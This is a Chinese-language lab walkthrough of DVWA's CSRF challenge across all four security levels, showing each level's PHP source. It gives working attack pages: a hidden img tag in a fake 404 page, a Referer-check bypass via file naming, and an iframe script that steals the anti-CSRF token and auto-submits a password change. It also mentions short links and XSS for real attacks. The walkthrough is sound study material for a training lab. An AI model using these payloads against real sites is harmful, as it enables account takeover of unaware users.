DVWA [CSRF] 跨站请求伪造

Posted 浪人联想

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CSRF

漏洞原理:攻击者在受害者未登出Web应用的情况下,诱导其点击恶意链接,达到以用户身份完成恶意攻击。简单来说,就是攻击者以用户的身份完成操作达到各种目的。

Low

源代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制。
利用
找到漏洞点

功能分析:输入新密码–>确认新密码–>change,我们走一次流程发现。

url:http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
观察url,会发现新旧密码直接显示在url上,可能存在CSRF漏洞。
下面是模拟一个用户正在浏览DVWA

给其发送修改密码的url,诱导其点击,http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
这里可以使用短链接伪造url,使得修改密码不是那么明显。
可以发现密码已经改成了password,实现攻击行为。

在现实攻击场景下,可以向公网上上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。
这里可以本地构造一个虚假页面,代码如下:

<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>
 
<h1>404<h1>
 
<h2>file not found.<h2>

保存其为hack.html,然后攻击者访问如下:

以为是访问了错误页面,殊不知,密码已经改成了123456。
同理,BurpSuite的CSRF poc 也是如此。

点击Copy Html,

构造好页面之后,诱导用户访问如下:

点击submit request

密码就被修改为hack了
ok!

Medium

源代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

可以看到,检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是127.0.0.1),简单来说,就是判断Referer中有没有host参数,希望通过这种机制抵御CSRF攻击

利用
过滤规则:http包头的Referer参数的值中必须包含主机名(这里是127.0.0.1)
绕过:将攻击页面命名为127.0.0.1.html
诱导受害者访问:http://127.0.0.1/127.0.0.1.html
可以看到,这样构造文件名的话,是可以绕过过滤的。

密码已经成功修改

High

源代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

High级别的代码加入了Anti-CSRF token机制,用户每次访问修改密码页面时,服务器会生成一个随机的token;向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

攻击源码:

<script type="text/javascript">
 
    function attack()
 
  {
 
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
 
  document.getElementById("transfer").submit(); 
 
  }
 
</script>
 
 
 
<iframe src="http://127.0.0.1/DVWA/vulnerabilities/csrf/" id="hack" border="0" style="display:none;">
 
</iframe>
 
 
 
<body onload="attack()">
 
  <form method="GET" id="transfer" action="http://127.0.0.1/DVWA/vulnerabilities/csrf/">
 
   <input type="hidden" name="password_new" value="password">
 
    <input type="hidden" name="password_conf" value="password">
 
   <input type="hidden" name="user_token" value="">
 
  <input type="hidden" name="Change" value="Change">
 
   </form>
 
</body>

但是这只是理想状态,真正的攻击情况下是不允许跨域请求的。所以使用XSS获取token,然后构造添加上token的请求来实现csrf攻击。

Impossible

源代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 


Impossible级别的代码不仅利用PDO技术防御SQL注入,而且要求用户输入原始密码,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。
ok!

仅供学习!!!

参考文章:这里!

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